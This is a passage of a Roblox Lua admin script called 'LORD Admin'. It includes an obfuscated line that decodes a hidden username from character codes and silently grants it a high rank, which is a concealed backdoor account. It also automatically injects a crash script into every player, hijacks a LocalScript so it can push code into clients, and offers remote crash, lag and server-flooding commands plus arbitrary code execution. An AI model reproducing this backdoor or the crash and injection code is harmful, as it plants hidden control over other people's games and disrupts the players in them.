  956. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  957. wait()
  958. randPlayer(Plr)
  959. return
  960. else
  961. FoundPlayer = true
  962. end
  963. end)
  964. if FoundPlayer == true then
  965. return ThePlrValue
  966. end
  967. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  968.  
  969. function getPlayer(Plr, Name)
  970. local Players = {}
  971. ypcall(function()
  972. Name = Name:lower()
  973. if Name == "me" then
  974. table.insert(Players, Plr)
  975. elseif Name == "all" or Name == "" then
  976. for _,v in pairs(All()) do
  977. if CanRun(Plr, v) then
  978. table.insert(Players, v)
  979. end
  980. end
  981. elseif Name == "others" then
  982. for _,v in pairs(All()) do
  983. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  984. table.insert(Players, v)
  985. end
  986. end
  987. elseif Name == "random" then
  988. local FoundRandPlr = randPlayer(Plr)
  989. table.insert(Players, FoundRandPlr)
  990. else
  991. for _,v in pairs(All()) do
  992. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  993. table.insert(Players, v)
  994. end
  995. end
  996. end
  997. end)
  998. return Players
  999. end
  1000.  
  1001. function ListPlayers(Speaker)
  1002. ypcall(function()
  1003. Dismiss(Speaker)
  1004. for _,v in pairs(All2()) do
  1005. if v.Parent ~= nil then
  1006. Ping(v.Name, Speaker, nil, function()
  1007. Dismiss(Speaker)
  1008. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1009. Ping("Rank: "..FindRank(v.Name), Speaker)
  1010. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1011. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1012. Ping("Set Rank", Speaker, nil, function()
  1013. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1014. Dismiss(Speaker)
  1015. for i = -2, 5 do
  1016. Ping(i, Speaker, nil, function()
  1017. ChangeRank(v, i)
  1018. Dismiss(Speaker)
  1019. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1020. end)
  1021. end
  1022. else
  1023. Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1024. end
  1025. end)
  1026. Ping("Crash (Remote)", Speaker, nil, function()
  1027. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1028. Crash2(v.Name)
  1029. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1030. end
  1031. end)
  1032. Ping("Crash (Insert)", Speaker, nil, function()
  1033. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1034. Crash3(v, Speaker)
  1035. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1036. end
  1037. end)
  1038. Ping("Kick", Speaker, nil, function()
  1039. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1040. v:Kick()
  1041. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1042. end
  1043. end)
  1044. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1045. else
  1046. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1047. Dismiss(Speaker)
  1048. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1049. ypcall(function()
  1050. Ping("Rank: "..FindRank(v.Name), Speaker)
  1051. end)
  1052. ypcall(function()
  1053. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1054. end)
  1055. ypcall(function()
  1056. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1057. end)
  1058. ypcall(function()
  1059. Ping("Set Rank", Speaker, nil, function()
  1060. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1061. Dismiss(Speaker)
  1062. for i = -2, 5 do
  1063. Ping(i, Speaker, nil, function()
  1064. ChangeRank(v, i)
  1065. Dismiss(Speaker)
  1066. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1067. end)
  1068. end
  1069. else
  1070. Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1071. end
  1072. end)
  1073. end)
  1074. ypcall(function()
  1075. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1076. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1077. Crash2(v.Name)
  1078. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1079. end
  1080. end)
  1081. end)
  1082. ypcall(function()
  1083. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1084. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1085. Crash3(v, Speaker)
  1086. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1087. end
  1088. end)
  1089. end)
  1090. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1091. end
  1092. end
  1093. end)
  1094. end
  1095.  
  1096. --Misc
  1097.  
  1098. coroutine.resume(coroutine.create(function()
  1099. PlaceAllRanks()
  1100. end))
  1101.  
  1102. Delay(0, function()
  1103. for _,v in pairs(All()) do
  1104. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1105. end
  1106. end)
  1107.  
  1108. local starttime = tick()
  1109.  
  1110. game:GetService("RunService").Heartbeat:connect(function()
  1111. if Removed == false then
  1112. ypcall(function()
  1113. for _,Player in pairs(All()) do
  1114. local PlayerTablets = {}
  1115. for i,v in pairs(AllTabs) do
  1116. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1117. table.insert(PlayerTablets, v)
  1118. end
  1119. end
  1120. for i = 1, #PlayerTablets do
  1121. ypcall(function()
  1122. local tab = PlayerTablets[i].Tab
  1123. local pos = nil
  1124. ypcall(function()
  1125. pos = Player.Character.Torso.CFrame
  1126. end)
  1127. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1128. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1129. local cPos = tab.Position
  1130. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1131. local nPos = (ePos-cPos)*.25
  1132. cPos = cPos + nPos
  1133. local t = (tick() - starttime) % 360
  1134. local change = 0.625
  1135. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1136. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1137. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1138. end)
  1139. end
  1140. end
  1141. end)
  1142. end
  1143. end)
  1144.  
  1145. Delay(0, function()
  1146. while wait() do
  1147. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1148. ypcall(function()
  1149. if Injected[v.Name] == nil and LS ~= nil then
  1150. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1151. Injected[v.Name] = true
  1152. end
  1153. end)
  1154. end
  1155. end
  1156. end)
  1157.  
  1158. Plrs.PlayerAdded:connect(function(Plr)
  1159. wait(.1)
  1160. ypcall(function()
  1161. if Removed == false then
  1162. local JoinPlrName = Plr.Name
  1163. coroutine.resume(coroutine.create(function()
  1164. PlaceSpecificRank(Plr)
  1165. end))
  1166. coroutine.resume(coroutine.create(function()
  1167. if Injected[JoinPlrName] ~= nil then
  1168. Injected[JoinPlrName] = nil
  1169. end
  1170. end))
  1171. coroutine.resume(coroutine.create(function()
  1172. Dismiss(Plr)
  1173. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1174. end))
  1175. end
  1176. end)
  1177. end)
  1178.  
  1179. Plrs.PlayerRemoving:connect(function(Plr)
  1180. wait(.1)
  1181. ypcall(function()
  1182. if Removed == false then
  1183. local LeftPlrName = Plr.Name
  1184. coroutine.resume(coroutine.create(function()
  1185. if Injected[LeftPlrName] ~= nil then
  1186. Injected[LeftPlrName] = nil
  1187. end
  1188. end))
  1189. end
  1190. end)
  1191. end)
  1192.  
  1193. coroutine.resume(coroutine.create(function()
  1194. Delay(0, function()
  1195. while FoundLocalScript == false do wait()
  1196. ypcall(function()
  1197. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1198. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1199. for _,c in pairs(v:children()) do
  1200. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1201. local NewVal = c:Clone()
  1202. NewVal.Name = "LoadingVal"
  1203. for _,s in pairs(v:GetChildren()) do
  1204. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1205. print("Found Owner")
  1206. OwnSource = s.Name
  1207. print(OwnSource)
  1208. break
  1209. end
  1210. end
  1211. wait()
  1212. LS = v:Clone()
  1213. NewVal.Parent = LS
  1214. LSSource = "LoadingVal"
  1215. FoundLocalScript = true
  1216. break
  1217. end
  1218. end
  1219. end
  1220. end
  1221. end)
  1222. end
  1223. end)
  1224. end))
  1225.  
  1226. --Commands
  1227.  
  1228. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1229. Dismiss(Speaker.Name)
  1230. Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
  1231. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1232. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1233. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1234. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1235. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1236. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1237. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1238. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1239. end)
  1240.  
  1241. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1242. Dismiss(Speaker.Name)
  1243. end)
  1244.  
  1245. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1246. local PlrTab = getPlayer(Speaker, Msg)
  1247. if #PlrTab > 0 then
  1248. for _,v in pairs(PlrTab) do
  1249. ypcall(function()
  1250. v.Character:BreakJoints()
  1251. Ping("Killed "..v.Name, Speaker, 5)
  1252. end)
  1253. end
  1254. end
  1255. end)
  1256.  
  1257. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1258. local PlrTab = getPlayer(Speaker, Msg)
  1259. if #PlrTab > 0 then
  1260. for _,v in pairs(PlrTab) do
  1261. ypcall(function()
  1262. if v.Name ~= Owner then
  1263. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1264. Ping("Muted "..v.Name, Speaker, 5)
  1265. end
  1266. end)
  1267. end
  1268. end
  1269. end)
  1270.  
  1271. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1272. local PlrTab = getPlayer(Speaker, Msg)
  1273. if #PlrTab > 0 then
  1274. for _,v in pairs(PlrTab) do
  1275. ypcall(function()
  1276. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1277. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1278. end)
  1279. end
  1280. end
  1281. end)
  1282.  
  1283. --[[
  1284. :TBC()
  1285.  
  1286. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1287. local PlrTab = getPlayer(Speaker, Msg)
  1288. if #PlrTab > 0 then
  1289. for _,v in pairs(PlrTab) do
  1290. ypcall(function()
  1291. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1292. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1293. end)
  1294. end
  1295. end
  1296. end)
  1297. ]]--
  1298.  
  1299. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1300. local PlrTab = getPlayer(Speaker, Msg)
  1301. if #PlrTab > 0 then
  1302. for _,v in pairs(PlrTab) do
  1303. ypcall(function()
  1304. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1305. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1306. end)
  1307. end
  1308. end
  1309. end)
  1310.  
  1311. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1312. local PlrTab = getPlayer(Speaker, Msg)
  1313. if #PlrTab > 0 then
  1314. for _,v in pairs(PlrTab) do
  1315. ypcall(function()
  1316. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1317. Ping("UnMuted "..v.Name, Speaker, 5)
  1318. end)
  1319. end
  1320. end
  1321. end)
  1322.  
  1323. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1324. local Worked = false
  1325. for _,v in pairs(Work:GetChildren()) do
  1326. if string.find(v.Name:lower(), Msg:lower()) then
  1327. if v:IsA("Script") or v:IsA("LocalScript") then
  1328. v.Disabled = true
  1329. v:Destroy()
  1330. Worked = true
  1331. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1332. end
  1333. end
  1334. end
  1335. if Worked == false then
  1336. Ping("Script Not Found", Speaker, 5)
  1337. end
  1338. end)
  1339.  
  1340. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1341. Dismiss(Speaker)
  1342. local AllScripts = {}
  1343. for _,v in pairs(Work:GetChildren()) do
  1344. if v:IsA("Script") then
  1345. table.insert(AllScripts, v.Name)
  1346. end
  1347. end
  1348. if #AllScripts > 0 then
  1349. for _,v in pairs(AllScripts) do
  1350. Ping(v, Speaker)
  1351. end
  1352. else
  1353. Ping("No Scripts Found", Speaker, 5)
  1354. end
  1355. end)
  1356.  
  1357. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1358. Dismiss(Speaker)
  1359. local LocalScripts = {}
  1360. for _,v in pairs(All()) do
  1361. ypcall(function()
  1362. for _,x in pairs(v.Character:GetChildren()) do
  1363. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1364. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1365. end
  1366. end
  1367. end)
  1368. ypcall(function()
  1369. for _,x in pairs(v.Backpack:GetChildren()) do
  1370. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1371. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1372. end
  1373. end
  1374. end)
  1375. ypcall(function()
  1376. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1377. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1378. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1379. end
  1380. end
  1381. end)
  1382. end
  1383. if #LocalScripts > 0 then
  1384. for _,v in pairs(LocalScripts) do
  1385. Ping(v, Speaker)
  1386. end
  1387. else
  1388. Ping("No Local Scripts Found", Speaker, 5)
  1389. end
  1390. end)
  1391.  
  1392. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1393. local Split = GetSplit(Msg)
  1394. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1395. local ScriptName = Msg:sub(Split + 1)
  1396. local FoundLocal = false
  1397. for _,name in pairs(PlrTab) do
  1398. ypcall(function()
  1399. for _,v in pairs(name.Character:GetChildren()) do
  1400. if string.find(v.Name:lower(), ScriptName) then
  1401. if v:IsA("Script") or v:IsA("LocalScript") then
  1402. v.Disabled = true
  1403. v:Destroy()
  1404. FoundLocal = true
  1405. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1406. end
  1407. end
  1408. end
  1409. end)
  1410. ypcall(function()
  1411. for _,v in pairs(name.Backpack:GetChildren()) do
  1412. if string.find(v.Name:lower(), ScriptName) then
  1413. if v:IsA("Script") or v:IsA("LocalScript") then
  1414. v.Disabled = true
  1415. v:Destroy()
  1416. FoundLocal = true
  1417. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1418. end
  1419. end
  1420. end
  1421. end)
  1422. ypcall(function()
  1423. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1424. if string.find(v.Name:lower(), ScriptName) then
  1425. if v:IsA("Script") or v:IsA("LocalScript") then
  1426. v.Disabled = true
  1427. v:Destroy()
  1428. FoundLocal = true
  1429. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1430. end
  1431. end
  1432. end
  1433. end)
  1434. if FoundLocal == false then
  1435. Ping("Local Script Not Found", Speaker, 5)
  1436. end
  1437. end
  1438. end)
  1439.  
  1440. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1441. for _,v in pairs(game:GetChildren()) do
  1442. ypcall(function()
  1443. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1444. for _,a in pairs(v:GetChildren()) do
  1445. ypcall(function()
  1446. a:Destroy()
  1447. end)
  1448. end
  1449. elseif v.Name == "Players" then
  1450. for _,plr in pairs(v:GetPlayers()) do
  1451. Clear(plr)
  1452. end
  1453. end
  1454. end)
  1455. end
  1456. Clean()
  1457. Fixl()
  1458. Ping("Fully Cleaned", Speaker, 5)
  1459. end)
  1460.  
  1461. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1462. LClean()
  1463. Fixl()
  1464. Ping("Lightly Cleaned", Speaker, 5)
  1465. end)
  1466.  
  1467. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1468. local PlrTab = getPlayer(Speaker, Msg)
  1469. if #PlrTab > 0 then
  1470. for _,v in pairs(PlrTab) do
  1471. ypcall(function()
  1472. v:LoadCharacter()
  1473. Ping("Reset "..v.Name, Speaker, 5)
  1474. end)
  1475. end
  1476. end
  1477. end)
  1478.  
  1479. Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
  1480. local PlrTab = getPlayer(Speaker, Msg)
  1481. if #PlrTab > 0 then
  1482. for _,v in pairs(PlrTab) do
  1483. ypcall(function()
  1484. v:LoadCharacter()
  1485. Ping("Respawned "..v.Name, Speaker, 5)
  1486. end)
  1487. end
  1488. end
  1489. end)
  1490.  
  1491.  
  1492. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1493. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1494. if Work:findFirstChild("Base") then
  1495. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1496. else
  1497. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1498. end
  1499. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1500. end)
  1501.  
  1502. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1503. local PlrTab = getPlayer(Speaker, Msg)
  1504. if #PlrTab > 0 then
  1505. for _,v in pairs(PlrTab) do
  1506. ypcall(function()
  1507. v.Character.Torso.Anchored = true
  1508. Ping("Froze "..v.Name, Speaker, 5)
  1509. end)
  1510. end
  1511. end
  1512. end)
  1513.  
  1514. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1515. local PlrTab = getPlayer(Speaker, Msg)
  1516. if #PlrTab > 0 then
  1517. for _,v in pairs(PlrTab) do
  1518. ypcall(function()
  1519. for _,v2 in pairs(v.Character:GetChildren()) do
  1520. ypcall(function()
  1521. v.Torso.Anchored = false
  1522. end)
  1523. end
  1524. Ping("Thawed "..v.Name, Speaker, 5)
  1525. end)
  1526. end
  1527. end
  1528. end)
  1529.  
  1530. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1531. local PlrTab = getPlayer(Speaker, Msg)
  1532. if #PlrTab > 0 then
  1533. for _,v in pairs(PlrTab) do
  1534. ypcall(function()
  1535. Instance.new("ForceField", v.Character)
  1536. end)
  1537. end
  1538. end
  1539. end)
  1540.  
  1541.  
  1542. Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
  1543. local PlrTab = getPlayer(Speaker, Msg)
  1544. if #PlrTab > 0 then
  1545. for _,v in pairs(PlrTab) do
  1546. ypcall(function()
  1547. t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1548. t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1549. t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1550. t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1551. end)
  1552. end
  1553. end
  1554. end)
  1555.  
  1556. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1557. local PlrTab = getPlayer(Speaker, Msg)
  1558. if #PlrTab > 0 then
  1559. for _,v in pairs(PlrTab) do
  1560. ypcall(function()
  1561. RemObj(v.Character, "ForceField")
  1562. end)
  1563. end
  1564. end
  1565. end)
  1566.  
  1567. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1568. local Split = GetSplit(Msg)
  1569. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1570. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1571. if #PlrTab > 0 and #PlrTab2 > 0 then
  1572. for i,v in pairs(PlrTab) do
  1573. ypcall(function()
  1574. for _,v2 in pairs(PlrTab2) do
  1575. ypcall(function()
  1576. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1577. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1578. end)
  1579. end
  1580. end)
  1581. end
  1582. end
  1583. end)
  1584.  
  1585. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1586. MakeExplorer(Speaker)
  1587. end)
  1588.  
  1589. Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
  1590. wait()
  1591. Dismiss(Speaker)
  1592. NumBanned = 0
  1593. NumCmds = 0
  1594. for i = 1, #Rankings do
  1595. if Rankings[i].Rank < 0 then
  1596. NumBanned = NumBanned + 1
  1597. end
  1598. end
  1599. for i,v in pairs(Commands) do
  1600. NumCmds = NumCmds + 1
  1601. end
  1602. Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
  1603. Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
  1604. Ping("Date Started: 18th May 2013", Speaker)
  1605. Ping("Your ID: "..Speaker.userId, Speaker)
  1606. Ping("Total Number Of Players: "..#All2(), Speaker)
  1607. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1608. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1609. Ping("ShowGarbage", Speaker)
  1610. end)
  1611.  
  1612. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1613. Dismiss(Speaker)
  1614. for i,v in pairs(All()) do
  1615. Ping(v.Name.."'s Rank: "..FindRank(v))
  1616. end
  1617. end)
  1618.  
  1619. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1620. local Split = GetSplit(Msg)
  1621. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1622. local Speed = tonumber(Msg:sub(Split + 1))
  1623. for _,v in pairs(PlrTab) do
  1624. ypcall(function()
  1625. v.Character.Humanoid.WalkSpeed = Speed
  1626. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1627. end)
  1628. end
  1629. end)
  1630.  
  1631. Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
  1632. local RemoveAB = Instance.new("StringValue")
  1633. RemoveAB.Name = "LORD Attachment"
  1634. RemoveAB.Value = [[LORD.override=true;]]
  1635. RemoveAB.Parent = Work
  1636. Ping("Removed All LORD Anti-Bans", Speaker, 5)
  1637. end)
  1638.  
  1639. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1640. Dismiss(Speaker)
  1641. for i,v in pairs(Injected) do
  1642. Ping(i, Speaker)
  1643. end
  1644. end)
  1645.  
  1646. Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
  1647. local RemoveCBA = Instance.new("StringValue")
  1648. RemoveCBA.Name = "LORD Attachment"
  1649. RemoveCBA.Value = [[LORD.remove = false]]
  1650. RemoveCBA.Parent = Work
  1651. Ping("Removed All LORD Admins", Speaker, 5)
  1652. end)
  1653.  
  1654. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1655. local function BufferOverflow(object)
  1656. object.DescendantAdded:connect(BufferOverflow)
  1657. Instance.new("IntValue", object)
  1658. end
  1659. BufferOverflow(Game)
  1660. end)
  1661.  
  1662. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1663. local PlrTab = getPlayer(Speaker, Msg)
  1664. if #PlrTab > 0 then
  1665. for _,v in pairs(PlrTab) do
  1666. ypcall(function()
  1667. Crash1(v)
  1668. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1669. end)
  1670. end
  1671. end
  1672. end)
  1673.  
  1674. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1675. local PlrTab = getPlayer(Speaker, Msg)
  1676. if #PlrTab > 0 then
  1677. for _,v in pairs(PlrTab) do
  1678. ypcall(function()
  1679. ChangeRank(v, -1)
  1680. end)
  1681. end
  1682. end
  1683. end)
  1684.  
  1685. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1686. local PlrTab = getPlayer(Speaker, Msg)
  1687. if #PlrTab > 0 then
  1688. for _,v in pairs(PlrTab) do
  1689. ypcall(function()
  1690. ChangeRank(v, -2)
  1691. end)
  1692. end
  1693. end
  1694. end)
  1695.  
  1696. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1697. local PlrTab = getPlayer(Speaker, Msg)
  1698. if #PlrTab > 0 then
  1699. for _,v in pairs(PlrTab) do
  1700. ypcall(function()
  1701. ChangeRank(v, -3)
  1702. end)
  1703. end
  1704. end
  1705. end)
  1706.  
  1707. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1708. ypcall(function()
  1709. local PlrTab = getPlayer(Speaker, Msg)
  1710. if #PlrTab > 0 then
  1711. for _,v in pairs(PlrTab) do
  1712. ypcall(function()
  1713. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1714. end)
  1715. end
  1716. end
  1717. local PlrName = ChangeRank(Msg, 0)
  1718. Ping("Un-Banned "..PlrName, Speaker, 5)
  1719. end)
  1720. end)
  1721.  
  1722. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1723. Dismiss(Speaker)
  1724. Ping("Commands", Speaker, nil, function()
  1725. Dismiss(Speaker.Name)
  1726. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1727. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1728. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1729. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1730. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1731. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1732. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1733. Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1734. end)
  1735. Ping("Players", Speaker, nil, function()
  1736. ListPlayers(Speaker)
  1737. end)
  1738. end)
  1739.  
  1740. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  1741. ListPlayers(Speaker)
  1742. end)
  1743.  
  1744. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  1745. local Func,Error = loadstring(Msg)
  1746. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  1747. getfenv(Func).Speaker = Speaker
  1748. if Error == nil then
  1749. coroutine.wrap(function()
  1750. Func()
  1751. end)()
  1752. Ping("Executed Script!", Speaker, 5)
  1753. else
  1754. Ping(Error, Speaker, 10)
  1755. end
  1756. end)
  1757.  
  1758. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  1759. if LS ~= nil then
  1760. local Split = GetSplit(Msg)
  1761. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1762. local LocalSource = Msg:sub(Split + 1)
  1763. if #PlrTab > 0 then
  1764. for _,v in pairs(PlrTab) do
  1765. local Inserted = LS:Clone()
  1766. Inserted.Disabled = true
  1767. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  1768. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  1769. Inserted:findFirstChild(OwnSource).Value = v.Name
  1770. end
  1771. Inserted[LSSource].Value = LocalSource
  1772. Inserted.Disabled = false
  1773. end
  1774. end
  1775. else
  1776. Ping("ERROR: Local Script Not Found", Speaker, 5)
  1777. end
  1778. end)
  1779.  
